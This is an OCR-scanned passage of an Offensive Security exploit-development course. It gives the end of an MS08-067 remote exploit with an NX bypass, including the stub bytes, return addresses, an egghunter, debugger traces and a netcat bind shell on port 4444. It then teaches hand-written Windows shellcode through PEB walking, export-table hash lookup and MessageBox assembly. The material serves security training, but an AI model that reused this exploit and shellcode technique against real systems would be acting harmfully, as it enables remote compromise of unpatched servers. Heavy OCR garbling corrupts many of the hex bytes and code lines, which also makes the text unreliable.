stub+="'\x00\x00\z00\=x00" # Offset
stub+="\xac\x00\x00\x00"' # Actual count

Zk Server Unc -> Length in Bytes = (Max Count*2) - 4
# NOP + PATTERN + SHELLCODE (15+8+317)= 340 => Max Count = 172 (Oxac)
stub+="n00bno0b' + '\x90'*15 + shellcode # Server Unc
stub+="'\x00\x00\x00\=00"' # UNC Trailer Padding
stub+='\x2f\x00\=x00\x00" 4 Max Count
stub+="\=z00\x00\x00\=00" # Offset
stub+="\=22f\x00\=x00\x00" # Actual Count

»ftub+='\xél\xO0\x5c\XOD\x2e\xOO\x2e\x0G\x5c\XCG\x2e\xi§\xie\xﬁ$&;ﬁc\xoo' # PATH (¥%
[ # Pain starting... :) NX BYPASS pis @9? ﬁ:f‘b
7 | stub+='\x41\x41" # PADDING
lo stub+="\x1B\xA0\x86\x7C"' # Ox7cB86a01b JMP ESP {(ntdll)
¢ o | stubd='\x41\x41\2x41\x41" # PADDING
{* stub+=' \XEB\x1C\x50\=x90" # SJIMP TO ECGHUNTER Oxlc bytes = (0Ox20 - Oxd)
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www.offens

\s

stub+="\x41 \=x41\x41\x41"
stubt="\x84\ %94 \xB0\x7C"'
stubt="'\XFE\XFF\xFF\xFF"'
stub+="\xR2\xB3\xE0\x77 "

PADDING /‘; 4
RET -> 0x7C809484 POP EBP RETN (ntdll .text) @NCCC~[N

JUNKE TO BE POPPED

0x77E083A2 PUSE EDI,POP EBP,RETN Oxd

Hk delie g ok 9 NE ok o

(NTMARTA . text) /j
stub+='\x17\xf5\x83\x7c" 0x7CB3F517 MOV DWORD PTR SS:[EBP-4],0x2 _% ﬁJf(/ {a
S Sl __# ntdlliLdrpCheckNXCompatibility __f,»ﬂp r1159k
ub+=* \x290\x90\x90\x30 " NOPS TO EGGHUNTER }-"k ln Glr Su-/L
stub+=' \x90\x90\x20\x90" NOPS TCO EGGHUNTER

# EGGHUNTER 32 Bytes

egghunter ='\x33\xD2\x90\x90\x90\x42\x52\x6a"
egghunter+='\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter+='\x£f4\xb8\x6e\x30\x30\x62\x8b\xfa’
egghunter+='\xaf\x75\xea\xaf\x75\xe7\xff\xe7"’

stub+= egghunter

stub+="\x00\x00"

stub+="'\x00%\x00\=z00\x00" # Padding
stub+="'\x02\z00\x00\x00" 4 Max Buf
stub+="\x02\=200\=x00\=00" # Max Count
stub+="\x00\x00\x00\x00"* # Offset
stub+="\x02\x00\x00\x00" # Actual Count
stub+="'\x5c\x00\x00\x00" ¥ Prefix
stub+="'\x01\z00\x00\=x00"' # Pointer to pathtype
stub+="'\x201\x00\=00\=00" # Path type and flags.

print "Firing payload..."
dee.call {0x1f, stub) #0x1f (or 31)- NetPathCanonicalize Operation
print "Done! Check your shell on port 4444"

Final Exploit Source Code

s A<

/75./77

Let's set a breakpoint on the JMP ESP address and execute the final exploit:

Setting a breakpoint on JMP ESP in Windbg:
0:017> bp 0x7c86allb
0:017> g

Firing the exploit:

root@bt # ./NX EXPLOIT.py 10.150.0.194
dhkkhkdhhkhhhhhkhhkhhhhhhhh bk kkhkkrhkhkhkkdkhhkhkkhkhhkhhhhkhkhkhkk
khkkkkhkhhk MSO0B-67 Win2?k3 SP? NX BYPASS khkhkkkkhhkkk
Fhkhkkkhhkk offensive-security.com kkkkhkhkkkk®
*kkhokkhkhk ryujinsmuts --- 12/08/2008 Tk kkkkkkx
hhkkhkhkhkhkhhkhhhhhkhkhhkhhhhhhhdhhhhhhhhkddkdhkhdkdhhhdkhhkhhdhhbhikhi
Firing payload...

Done! Check your shell on port 4444

in WinDbg our breakpoint has been hit
Breakpoint 0 hit
eax=00000000 ebzx=00cB005c ecx=00cBfd474 edx=TcBZB5ec esi=309%0905%0 edi=00cB8f464

eip=7cB6allb esp=00cBf470 ebp=4141005¢ iopl=0 OV Up ei ng nz na po nc
cs=001b ss=0023 ds=0023 es=0023 £5=003b gs=0000 efl=00000282
ntdll!RtlpIntegerWChars+0x17:

T7c86a0lb ffed jmp esp {00cBE470}
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Let's step oveé:

0:010> p

eax=00000000 ebx=00cB005c ecx=00cBf474 edx=7cB2B5ec esi=90902090 edi=00cBfd64
eip=00c8£470 esp=00cBf470 ebp=4141005¢c iopl=0 nv up ei ng nz na po nc
cs=001b ss5=0023 ds=0023 es=0023 £fs=003b gs=0000 efl1=00000282
00cBf470 eblc Jmp 00c8f48e

Short Jump reached, let's execute it:

0:010> p

eax=00000000 ebx=00cBO05c ecx=00c8f474 edx=T7cB2BSec esi=30909090 edi=00cBfd64
eip=00cBfdBe esp=00cBfd70 ebp=4141005c iopl=0 nv up €i ng nz na po nc
cs=001b ss5=0023 ds=0023 es=0023 £5=003b gs=0000 efl=00000282

NOFP SLED reached. We let the egghunter doing its job:
00c8f48e 90 nop
0:010> g

Final Exploit Session

0ﬁseh!@$&copeip

Ho prior disassembly possible

00021918

000a1919 80 nop

000al191a 90 nop

000a191b 90 nop

000al191c 90 nop

000a191d 90 nop

000al%le 380 nop

000al1%91f 90 nop

00Dal1920 90 nop

000a1%21 90 nop

000s1922 90 nop

00021923 90 nop

000al1924 90 nop

000s1925% 90 nop

000al92e 30 nop

000a1%27 fc cld

00021928 baeb puzh OFFFFFFEEQ

000a192a 44 dec ehp

NNMNa192" =RfAfFffff all NNs19%9

cs=001b ===0023 d==0023 es=0023 §s=003b gs=0000 efl=
Oc8idaes ffe7 M edi {000a1918%

0:010> p

eax=6230306e ebx=00cB8005c ecx=00cB8idfc edx=000a1910 ==1=909090530 =d1=000a1918
eip=000a1918 esp=00c8£470 =bp=4141005c 1o0pl=0 nv up 21 pl zr na pe nc
ce==001b ===0023 d==0022 e==0023 {f==003b gs==0000 =f 1=00000246
000a1918 490 nop

Figure 27: Soft landing at the beginning of our shellcode
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Once again we've obtained our remote shell on port 44441

root@bt # nc 10.150.0.194 4444
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C: \WINDOWS\system32>

1) Repeat the required steps in order to return into the controlled buffer and obtain a remote shell on
the vulnerable server.

In this module we have successfully exploited the MS08-067 in a real world scenario, where hardware
NX was enabled on the target server. These types of protections are very effective in mitigating software
exploitation, and raise the bar needed to compromise the vulnerability. However, as we have seen in
this module, under certain circumstances and conditions, these protections can be overcome,
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Module 0x03 Custom Shellcode Creation

[ b f1hvaiacti 3
tecd il WAL S

* Understanding shellcode concepts
* Creating Windows "handmade" universal shellcode

Overview

"Shellcode" is a set of CPU instructions to be executed after successful exploitation of a vulnerability.
The term shellcode originally was the portion of an exploit used to spawn a root shell, but it’s important
to understand that we can use shellcode in much more complex ways, as we will discuss in this module.

Shellcode is used to directly manipulate CPU registers and call system functions to obtain the desired
result, so it is written in assembler and translated into hexadecimal opcodes.

Writing universal and reliable shellcode, especially on the Windows platform, can be tricky and requires
some low level knowledge of the operating system; this is why it's sometimes considered a black art™,

Mh‘ct;:1:,r‘j't=:n.\.'\.riki;:uédi::w.org,"u'\.fild,r’shelicodr—:
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clld 01U : AINLOWS Froem

Syscalls are a powerful set of functions which interface user space to protected kernel space, allowing
you to access operating system low level functions used for 1/O, thread synchronization, socket

management and so on. Practically, Syscalls allow user applications to directly access the kernel keeping
them from compromising the 0S*.

A Shellcode’s intent is to make an exploited applications behave in a manner other than what was
intended by the coders. One way of doing this is to hijack a program execution flow while running
shellcode and force it to make a system call. On Windows, the Native APl is equivalent to the system call
interface on a UNIX operating systems. The Native API is provided to user mode applications by the
NTDLL.DLL Iibraryls. However, while on most UNIX OS', the system call interface is well documented and
generally available for user applications, in the Native API, it is hidden from behind higher level APIs
because of the nature of the NT architecture. The latter in fact, supports more operating systems APIs (
Win32, 0S5/2, POSIX, DOS/Win16 ) by implementing operating environment subsystems in user mode
that exports particular APIs to client programs’.

Moreover, system call numbers used to identify the functions to call in kernel mode are prone to change
between versions of Windows, whereas for example, Linux system call numbers are set in stone. Last
but not least, the feature set exported by the Windows system call interface is rather limited: for
example Windows does not export a socket API via the system call interface. Because of the above

problems, one must avoid the direct use of system calls to write universal and reliable shellcode on the
Windows platform.

“http://en.wikipedia.org/wiki/System call

http://en.wikipedia.org/wiki/Native API

The Win32 operating environment subsystem is divided among a server process, CSRSS.EXE (Client-Server
Runtime Subsystem ), and client side DLLs that are linked with user applications that use the Win32 API.
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So if we can’t use system calls, how can we talk directly to the kernel? The only option is using the

Windows API exported in the form of dynamically loadable objects (DLL) that are mapped into process
memory space at runtime.

Our goal is to load DLLs into process space (if not already loaded) and find particular functions within
them to be able to perform tasks specific to the shellcode being coded. Again here, we are avoiding the

possibility of hardcoding function addresses to make our shellcode portable across different Windows
versions.

Fortunately, kernel32.dll, which in most of the cases is guaranteed to be mapped into process space™,
does expose two functions which can be used to accomplish both of the above tasks:

* LloadLlibraryA
* GetProcAddress

LoadLibraryA implements the mechanism to load DLLs while GetProcAddress can be used to resolve
symbols. To be able to call LoadLibraryA and/or GetProcAddress, we first need to know the kernel32.dll

base address and because the latter can change across different Windows versions, we need a general
approach to find it.

*®An exception is when the exploited executable is statically linked.
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One of the most reliable techniques used for determining the base address of kernel32.dll, involves
parsing the Process Environment Block (PEB).

PEB is a structure allocated by the operating system for every running process and can always be found
at the address pointed by the FS register FS[0x30]. The FS register on Windows is special, as it always
references the current Thread Environment block (TEB) which is a data structure that stores information
about the currently running thread. Through the pointer at FS[0x30] to the PEB data structure, one can
obtain a lot of information like the image name, the import table (IAT), the process startup arguments,
process heaps and most importantly, three linked lists which reveal the loaded modules that have been
mapped into the process memory space’’.

The three linked lists differ in purposes and their names are pretty self-explanatory:
* InLoadOrderModulelist
* InMemoryOrderModulelList
* IninitializationOrderModulelist

These linked lists show different ordering of the loaded modules. Because the kernel32.dll initialization
order is always constant, the initialization order linked list is the one we will use; in fact, by walking the
list to the second entry, one can extract the base address for kernel32.dll.

Yhttp://en.wikipedia.org/wiki/Win32 Thread Information Block
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The algorithm used to find the base address of kernel32.dll library from PEB is very well described in [20]
and [21], so let's see how this method works:

1. Use the FS register to find the place in memory where the TEB is located and discover the pointer to
the PEB structure at the offset 0x30 in the TEB:

struct TEB({
[...]
struct PEB* ProcessEnvironmentBlock;
i

bi

Xor eax, eax // eax = 0x000000

mov eax, fs:[eax+0x30] // store the address of the PEB in eax
// avoiding NULL wvalues in shellcode

Finding Kernel32.dll base address, Step 1

2. Find the pointer to the loader data inside the PEB structure (PEB LDR DATA) at OxOc offset in the
PEB:

mov eax, [eax + OxOc] // extract the pointer to the loader
// data structure

Finding Kernel32.dll base address, Step 2

3. Extract the first entry in the InitializationOrderModulelist (offset Ox1c) which contains information
about the ntdll.dll module.

struct PEB LDR DATA{
fo-21
struct LIST ENTRY InLoadOrderModuleList;
struct LIST ENTRY InMemoryOrderModulelist; >
struct LIST ENTRY InInitializationOrderModulelist;
&

mov esi, [eax+0xlc]

Finding Kernel32.dll base address, Step 3

Win32 Assem bly Components" by The Last Stage of Delirium Research Group

http://www.dnal.gatech.edu/lane/dataStore/WormDocs/winasm-1.0.1.pdf

21"Unders'canding Windows Shellcode" by skape http://www.hick.org/code/skape/papers/win32-shellcode.pdf
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4. Move through the second entry which describes kernel32.dll; the base address can be found at 0x08
offset.

struct LIST ENTRY({
struct LIST ENTRY* Flink;
struct LIST ENTRY* Blink;
bi

lodsd // grab the next entry in the list

mov edi, [eax+0x8] // grab the kernel32.dll module base address
// and store it in edi

ret // return to the caller

Finding Kernel32.dll base address, Step 4

The following ASM source code executes the logic above:

.388 ; enable 32bit programming features
.model flat, stdeall ; flat model programming/stdecall convention
assume fs:flat

.data ; start data section
.code ; start code section
start:

sub esp, 60h
mov ebp, esp
call Tfind kernel32

find kernel32:
¥Or eax, eax

mov eax; £s:leax+30h] «
mov eax, [eax+0ch]
mov esi, [eax+lch]

lodsd
mov edi, [eax+08h]
ret

end start

END

et A In Uq/tm

Finding Kernel32.dll base address ASM code
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We can now save the source code in an .asm file and compile it with masm32. The “assume fs:flat” has
been inserted as the FS and GS segment registers are not needed for flat-model”* (have a look at [23] for
the stdcall directive).

C:'\Documents and Settmqs admm‘{)esktup\sheﬂcndes\ﬁnd kernel32.asm
F&e Er& Sehact;m Pra]e-:t Tools Coc%e Script Window Heip

@ Cm% Ry e % e ;Eu-_;a \{,’ TR zﬁ ’»Mmzmc«m e
= }“ e

Lt S @Assenﬂen%fﬁe - “2 i
. 386  — i amning Feautures

model § kaomﬁle fodel progranmin tdcall convention(9)
assume G Assemble & Link
aﬁuﬁdﬂsﬂ

-data e B jata section
@ Makeit, bat

-.code ide sect
@ Console LnkOBJFiIe

start: @ Console Assemble & Link
@ Cmsde&uﬁdnﬁ

find kernel32:

Figure 28: Compiling find_kernel32.asm

Running the find_kernel32.exe from OllyDbg and setting a breakpoint at the beginning of the “start”
procedure, we can follow the execution of our shellcode and see that, at the end of the find_kernel32
procedure, EDI register contains 0x7C800000 that is the kernel32.dll base address.

“The .MODEL FLAT statement automatically generates this assumption: ASSUME cs:FLAT, ds:FLAT, ss:FLAT,
es:FLAT, fs:ERROR, gs:ERROR so to avoid errors in "mov eax, fs:[eax+30h]" syntax we need to use fs:flat

Mhttp:/fen.wikipedia.org/wikilXSG calling conventions
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' Dllthg - find_kernel32.exe - [(PU - main thread, module
____ File view Debug Plugins Options Window Help

_J_J_I Lalll] tii:l J:JJ 4 # LIE|M
“ S sugm find ker.o0401002 pegtizwf,'{#ﬁw“ ¥

N EBP,ESF

CFI.L Ftnd,,ker G941 aaC
WOR EAR, EHX i
Muu Efs DMUP& PTR FV-EEQK+3Q’ i
HOU Ef. DWORD PTR (214

Eg;aEﬂé DHUEQ Fér S LEQR+1££ i ey ;

| Bl ORD FTR 0S:(EST) -
{10 : MU EDT. OWORD PTR 0 -'Eq«+9ﬂ:“WH:>
| 6840101 C LA RETH BRag1eit Find

L

Figure 29: kernel32.dll base address in EDI register

You may have noticed that if we leave our shellcode running, the program will crash; this happens as we
didn’t place any “exit” function after the “ret” of our find_kernel32 procedure, don’t worry we will fix
this in next shelicode version. We also excluded instructions needed to make the shellcode compatible
with Windows 98 systems for simplicity**

Other two widely used methods to discover the kernel32 base address are the “SEH” method and the
“Top Stack” method. These methods are well explained in [20] and [21].

1) Repeat the required steps in order to find kernel32.dll base address in memory.

2) Take time to see how the double linked list InitializationOrderModuleList works in memory, using the
“Follow in Dump” OllyDbg function.

*This compatibility feature is included and explained in "Understanding Windows Shellcode" paper [21]
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So now we have the kernel32 base address, but we still need to find out function addresses within

kernel32 {and others DLLs). The most reliable method used to resolve symbols, is the “Export Directory
Table” method well described in [21].

DLLs have an export directory table which holds very important information regarding symbols such as:
* Number of exported symbols
* RVA of export-functions array
* RVA of export-names array

* RVA of export-ordinals array

The one-to-one connection between the above arrays is essential to resolve a symbol. Resolving an
import by name, one first searches the name in the export-names array. If the name matches an entry
with index i, the /" entry in the export-ordinals array is the ordinal of the function and its RVA can be
obtained by the export-functions array. The RVA is then translated into a fully functional Virtual Memory
Address (VMA) by simply adding the base address of the DLL library. Because the size of shellcode is just
as important as its portability, in the following method, the search by name of a symbol is made using a
particular hashing function which optimizes and cuts down the string name to four bytes.

This algorithm produces the same result obtained by the GetProcAddress function mentioned before
and can be used for every DLL. In fact, once a LoadLibraryA symbol has been resolved, one can proceed

to load arbitrary modules and functions needed to build custom shellcode, even without the use of the
GetProcAddress function.
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Let's see the Export Directory Table Method in action analyzing ASM code “chunk by chunk”:

find function:

pushad __/'{ ; Save all registers
mov ebp,/ edi ; Take the base address of kernel32 and
; put it in ebp

(D mov eax, [ebp + 3ch] ; Offset to PE Signature VMA
mov edi, [ebp + eax + 7Bh] ; Export table relative offset
add edi, ebp ; Export table VMA

*_—'mv ecx, [edi + 18h] ; Number of names
mov ebx, [edi + 20h] ; Names table relative offset
add ebx, ebp ; Names table VMA
find function loop:

jecxz find function finished ;s Jump to the end if ecx is O
dec ecx ¢ Decrement our names counter

@ mowv esi, [ebx + ecx * 4] ‘; Store the relative offset of the name
add esi, ebp ; Set esi to the VMA of the current name

Finding Export Directory Table VMA

We start saving all the register values on the stack as they will all be clobbered by our ASM code
(pushad). We then save the kernel32 base address returned in ED/ by find_kernel32, into EBP. (EBP will
be used for all the VMAs calculations).
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As seen below, we proceed identifying the offset value needed to reach the PE signature® (“mov
eax,[ebp + 3ch]”)

Si

pos 2 o &
e | | DOS_PartFag = f144, ) Rt
oul i DDS_Pagelnt = 32 _]
il i DOS _Relolnt = B
oo | DOS_HdrSize = 4
Qong Ot | DOS HMinflen =
FFFF | Dot | DOS_MaxMem = FFFF (68536.)
E aens + Dl =8
BE0G | Dt
BEne | D i
aaac | Dl | _Eu
BOR0 Ol DOS_Reiols = @
4808 ] DOS_TablOfs = 48
B ol gg DOS_Duerlay = @
8 e
o (DB e
e iDB 98
28 (OB B0
o | DE @
e | DB B8
sl | OB @8
s (DB &8
i | DB a0
5] (DB a8
Ly | OB 88
oo DB 60
e OB Bo
ae DB a8
o (OB 89
ag | DE 80
. | DB 8
.5 | OB 0
= | DE B8
o |DE 89
oa | DE 90
fe | OB &8
b DB B8
o DB 89
e (DB el
24 (DB aa
o (Ol 80
ae DE @0
. e
-
E& Offser to PE signature

Figure 30: PE Signature

*The PE header starts with the 4-byte signature "PE" followed by two nulls.
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We then proceed by fetching the Export Table relative offset (“mov edi, [ebp + eax + 78h]”) and
calculating its absolute address (“add edi, ebp”), as seen below.

TimeDateStanp = 4623
Fo mterTo’é‘f;nmlTable = @
Humber(FSymbols = @ i
SizeDflpt \onuLHeivde. = EB (224,
Charactepristios = OLLIEXECUTABL
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Nasorl inkerUersion
mnom-u.iqu‘ers;Qn A8,
StzelfCode = S2208 (S22892, 1
n?sl)flmr ializedDats = 7OGOA |
s DFUR initializedDaty = &
ﬂf}dr’ﬁf)ﬂ‘Erlt[JF Ifl' = BSRE
Basel¥iode =
BaceDilars = rFM&\
insgeBaze = TO200000
Sect ionkl lgnment = 1008
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HajordSilersio
MinorQStiers ion

24

22 SERERREERRREETEET
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= 1

a6 Hejor Imsgeliersion = §
BLoa Ol ] Insgetlerzion = |
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g 11} . Reserved
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(g @03 . Bubsusten FAGE_ SUBSVETEM_WIN
D GBed i Di.i.%azracterest les = 8
fs s ] (OD 2R040060 i 3§ § Teserve = 40GHE {2627
B | et (DD BB Eeg ommit = 13&3 [ 483,
ey | O (00 G0 a0000 l&:@é}@ iii’ﬂi
5] Baan0 g ] 1 GG
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1 GG (D0 eRaacnia
1L 2eaa00 | DD eeRazZe1C
i TEACHB00 00 eeaascy
Cavasan 00 688 T
Zo00aau 0D Baee:
L 00 e €
ECEE deai s 1] SEEE! Rerource e si2
iy (0D o aaa0 : Enception Tabie addr
i i 7] | Exception Table size
BB el Carsif icate File point
+ & 3 L0 eeasGaian C ate :
POFOIEDD 0D DOGEFO00 F" locat ion Tabile addre

Figure 31: Export Table Offset

2

From the Export Directory Table VMA, we fetch the total number of the exported functions (mov ecx,

M’ , ECX will be used a ) and the RVA of the export-names array which is then added
to the kernel32 base address to obtain its VMA (“mov ebx,[edi + 20h] ; add ebx, ebp”).
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The find_function loop is then started and checks if ECX is zero, if this condition is true then the
requested symbol was not resolved properly and we are going to return to the caller.

find function:

pushad i Save all registers

mov ebp, edi ;i Take the base address of kernel3? and
; put it in ebp

Offset to PE Signature VMA
Export table relative offset
Export table VMA

Number of names

Names table relative offset
Names table VMA

mov eax, [ebp + 3chi

mov edi, [ebp + eax + 78h]
add edi, ebp

mowv ecx, [edi + 18h]

mov ebx, [edi + 20h]

add ebx, ebp

Neo M ma e wE N

find function loop:
jecxz find function fun,shed. ; Jump to the end if ecx is 0
dec ecx
mov esi, [ebx + ecx * 4]
add esi, ebp

Decrement cur names counter
Store the relative offset of the name
Set esi to the VMA of the current name

e e >

Finding Export Directory Table VMA

ECX is immediately decreased (array indexes start from zero). The i function’s relative offset is fetched
(“mov esi, [ebx + ecx * 4]”) and then turned into an absolute address. The following drawing shows an
example of how the VMA of the third function name AddAtomW is retrieved (ECX=2).

Export Names Array
» INDEX 0 INDEX 1 INDEX 2 INDEX ith
i 0x634B0000 | 0x?24BO{}00 Ox?&zsoeeo L OXXXXXXXXX |
Y \/ y \
ActivateActCtx AddAtomA AddAtomW ithFunction

ebx (Export Names Array VMA, points to the first element)

dec ecx ecx = ith function
mov esi, [ebx + ecx * 4] esi contains RVA of function name
add esi, ebp esi contains VMA of function name

Figure 32: Retrieving the third Function Name VMA in Export Names Array, ECX=2

76 © All rights reserved to Offensive Security, 2009




Computino R

At this point the ES/ register points to the i function name and the routines responsible for computing

hashes are started:

e

compute hash:

Xor eax, eax
U 5
eld

—Gompute_hash again:
lodsb
test al, al
Jj=z compute hash finished
ror edx, 0dh
add edx, eax
jmp compute hash again
compute hash finished:
find function compare:
b2

Compute Function Names Hash Routines

Zero eax
Zero edx
Clear directiocn

Load the next byte from esi into al

Test ourselves.

If the ZF is set,we've hit the null temrm
Rotate edx 13 bits to the right

2dd the new byte to the accumulator
Next iteration

Both the EAX and EDX registers are first zeroed and the direction flag is cleared® to loop forward in the
string operations”’. The loop begins and byte by byte the 4 byte hash is computed and stored in the EDX
register, which acts as an accumulator. At each iteration a check on the AL register is performed (“test
a1,a1”) to see if the string has reached the termination null byte. If this is the case, we jump to the
beginning of the find_function_compare (via compute_hash_finished label) procedure.

But how does the hash function exactly work? Let’s take a closer look at the three following instructions:

1. ledsb

il

2. ToF edx, 0Odh
3¢ add edx, eax

ASM Function Name Hashing

*In assembly, the cld instruction stands for "clear direction flag". Clearing direction flag will cause the string
instructions done forward. The opposite command is std which stands for "set direction flag".

”cdq instruction converts a double word into a quadword by means of sign extension. Sign extension means that

the sign bit in eax (bit 31), is copied to all bits in edx. The eax register is the source and the register pair edx:eax
is the destination. The cdq instruction is needed before the idiv instruction because the idiv instruction divides
the 64 bit value held in edx:eax by a 32 bit value held in another register. The result of the division is the
quotient, which is returned in eax and the remainder which is returned in edx.
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The first instruction loads the n byte from ES/ to AL and increments ES/ by 1 byte. The EDX register is
then RORed by 13 bits. ROR rotates the bits of the first operand (destination operand) by the number of

bit positions specified in the second operand (count operand) and stores the result in the destination
operand. The byte loaded in AL is then added to the rored EDX register.

We can write a simple python script that performs the same operation so that we will be able to
compute the hash of a function name in order to search for it inside our shellcode®:

#!/usr/bin/python
import numpy, sys

def ror str{byte, count):

mu® Ror a byte by 'count' bits """

# padded 32 bit

binb = numpy.base repr(byte, 2}.zfill(32)

while count > 0:
# ROTATE BY 1 BYTE : example for 0Ox4l
# 00000000000000000000000001000001
binb = binb[-1] + binbl0:-1]
# 1000000000000C000000C00000100000
count -= 1

return (int (binb, 2})

if name == 1 main o 1
try:
esi = sys.argvii]
except IndexError:

print "Usage: $s INPUTSTRING" % sys.argv[0]
sys.exit ()

# Initialize variables

edx = 0xz00

ror count = 0

for eax in esi:
edx = edx + ord(eax)
if ror count < lenf{esij-1:

edx = ror striedx, Oxd)

ror _count += 1

print hex(edx)

ASM Function Name Hashing

“*Please note that the ROR function in the script, rotate bits using a string representation of a binary number. A
correct implementation would use shift and or bitwise operators combined together ( h<<5 | h>>27). The

choice to use string operations is due to the fact that is simpler to visualize bit rotations in this way for the
student.
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Ok let's try it computing the "ExitProcess" function name:

root@bt # ./hash_funchname.py ExitProcess
Ox73e2d87e

PyHashing Function Names

We will use the hash computed (0x73e2d87e) to resolve its symbol inside kernel32.dll. Take time to play

with the above script, to better understand the hashing algorithm used in the Export Directory Table
Method.

Fetching Function’s \

We are almost there! Every time a hash is computed, find_function_compare is called through the jz
compute_hash_finished, to compare it to the hash previously pushed on the stack as a reference.

compute hash:

b el eax, eax ; Zero eax
cdg ; Zero edx
cld ; Clear direction
compute hash again:
lodsb i Load the next byte from esi into al
test &1, al ; Test ourselves.
jz compute hash finished ; If the ZF is set,we'wve hit the null term
: oo edx, 0Odh ;7 Botate edx 13 bits to the right
add  edx, eax ; Bdd the new byte to the accumulator
jmp compute hash again ; Next iteration

compute hash finished:
find function compare:

cmp edx, [esp + 28h] ; Compare the computed hash with the
; requested hash

jnz find function loop ; No match, try the next one.

mov ebx, [edi + 24h] ; Ordinals table relative offset

add ebx, ebp ; Ordinals table VMA

mov cx, [ebx + 2 * ecx] ; Extrapolate the function's ordinal

mov ebx, [edi + 1ch] ; Address table relative offset

add ebx, ebp ; Address table VMA

mov eax, [ebx + 4 * ecx] ; Extract the relative function offset
; from its ordinal
add eax, ebp ; Function VMA

mov [esp + 1lch], eax ; Overwrite stack version of eax

; from pushad

find__f‘unction*fini shed:

popad ; Restore all registers

ret ; Return

Compute Function Names Hash Routines
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If the hash matches, we fetch the ordinals array absolute address (“mov ebx, [edi + 24h] ; add ebx, ebp”)
and extrapolate the function’s ordinal (“mov cx, [ebx + 2 * ecx]”). The method is similar to the one used
to fetch the function’s name address; the only difference is that ordinals are two bytes in size. Once
again, with a similar method, we get the VMA of the addresses array (“mov ebx, [edi + 1ch] ; add ebx,
ebp”), extract the relative function offset from its ordinal (mov eax, [ebx + 4 * ecx]), make it absolute
and place it onto the stack replacing the old EAX value before popping all registers with the “popad”
instruction.

The following example shows the whole process of searching for the ExitProcess function address. Once
the symbol has been resolved we call the function to cleanly exit from the process. Now let's compile
the ASM code and follow the whole process with OllyDbg to understand the method described above.

. 386 ; enable 32bit programming features
-model flat, stdecall ; flat model programming/stdcall convention (9)
assume fs:flat

.data ;i start data section
.code i start code section
sStayt:

Jmp entry
entry:

sub esp, 60h

jilapn ebp, esp

call find kernel32

push 73e2d87eh ;ExitProcess hash

push edi

call find function

XOr ecx, ecx iZero ecx

push ecx ;Exit Reason

call eax ;ExitProcess

find kernel32:

X0r eax, eax
mov eax, f£s:[eax+30h]

mov eax, [eaxtOch]
mov esi, [eax+lch]
lodsd
mov edi, [eaxz+08h]
ret

find function:
pushad
mov ebp, edi
mov eax, [ebp + 3ch}
mov edi, [ebp + eax + 78h]
add edi, ebp
mov ecx, [edi + 18h]
mov ebx, [edi + 20h]
add ebx, ebp

find funttion loop:
jecxz find function finished

dec ecx
mov any,
add €31,

[ebx
ebp

T oesx xod]

Save all registers

Take the base address of kernel32 and
put it in ebp

Offset to PE Signature VMA

Export table relative offset

Export table VMA ;

Number of names

Names table relative offset

Names table VMA

Jump to the end if ecx is 0
Decrement our names counter
Store the relative offset of the name
Set esi to the VMA of the current name
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compute hash:

XOor eax, eax ; Zero eax
cdg : Zero edx
cld ; Clear direction
compute hash again:
lodsb ; Load the next byte from esi into al
test al, al ; Test ourselves.
jz compute hash finished ; If the ZF is set,we've hit the null termm
ror edx, Odh ; Rotate edx 13 bits to the right
add edx, eax ;i Add the new byte to the accumulator
jmp compute hash again ; Next iteration

compute hash finished:
find function compare:

cmp edx, [esp + 28h] ; Compare the computed hash with the
i requested hash

inz find function loop ; Wo match, try the next one.

mowv ebx; [edi + Z4h] ; Ordinals table relative offset

add ebx, ebp ; Ordinals table VMA

mov cx, [ebx + 2 * pex] ;i Extrapolate the function's ordinal

mov  ebx, [edi + 1ch] ; Address table relative offset

add ebx, ebp i Address table VMA

mov eax, [ebx + 4 * ecu] ; Extract the relative function offset
; from its ordinal

add eax, ebp ; Function VMA

mov [esp + 1ch], eax ; Overwrite stack version of eax

; from pushad
find function finished:

popad ; Restore all registers
ret ; Return
end start

END

ExitProcess shellcode ASM code

1) Repeat the required steps in order to fully understand how to resolve symbols once kernel32 base
address has been obtained.
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¥ Shellcode

Now that we grasp the theory, we are going to write a custom MessageBox shellcode using the

following steps: ‘.
g step /;}( -
Hh

: g as
*  Find kernel32.dll base address S
el . W/LE
. o R
* Resolve ExitProcess symbol 5{{-( /p:: 4_&&
~7 V14 i
ren
* Resolve LoadLibraryA symbol
* Load user32.dll in process memory space
* Resolve MessageBoxA function within user32.dll
* Call our function showing "pwnd" in a message box
*  Exit from the process
Q(ere is presented the ASM code for the new version of the shellcode:
|Jh . 386 ; enable 32bit programming features
Q“ .medel flat, stdeall : flat model programming/stdcall convention(9)
assume fs:flat
! ata i start data section
. code ; start code section
start:
\:}5 jmp entry
entry:
sub esp, &0h
mov  ebp, esp
call find kermel32
resolve symbols kernel32: iedi -> kernel32.d411 base
;i Resolve LoadLibrarya
push OecfedeBeh :LoadLibraryh hash
push edi
call find function
mov [ebp + 10Rh], eax istore function addy on stack
; Resolve ExitProcess
push 73e2dB7eh ;ExitProcess hash
push edi
call find function
mov [ebp + 1lch]l, eax ;store function addy on stack
resolve_symhols_useraz: ;Load user32.dll in memory
XOr eaX,; eax
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mov
push
push
push
call
mowv

ax,
eax

3233h

T2657375H

esp

dword ptr [ebp + 10h]

edi,

cax

; Besolve MessageBoxA

push
push
call
mov

Obcddaz2abh

edi

find function
[ebp + 18h], eax

exec shellcode:
; Call "pwnd" MessageBoxh

¥or

eax,

push eax

push
push
pop

edx

646277700
esp
erx

> use‘g’?,

;Pointer to
;Call LoadLibrarya -
;edi -> user32.dll base

‘user3a!

sstore function addy on stack

ipwnd string

ipwnd string

:pointer to pwnd
;store pointer in ecx

; Push MessageBoxA args in reverse order

push
push
push
push

eax
eCcx
eCx
eax

;i Call MessageBoxh
call dword ptr [ebp + 18h]

; Call ExitProcess

2O 20X, ecx

push ecx

call dword ptr [ebp + 1lch]

find kernel32:

XOr eax, eax

mov easx,
mov eax,
mov esi,

lodsd

mov edi,

Eat

find function:
pushad

mow

mov
buileyis
add
mov
mov
add

ebp,

eax,
edi,
edi,
ecx,
ebx,
ebx,

[eax+08h]

}nf-"- eaﬂ' :;"éqﬁe)

edi
[ebp
lebp
ebp
[edi
[edi
ebp

findﬁﬁunction“loop:
jecxz find function finished

dec
mov
add

compute hash:
xor

ecx
ZRd
esi,

eax,

fs: [eax+30h]
[eax+0ch]
[eax+lch]

3ch]
eax + 78h]

18h]
20h]

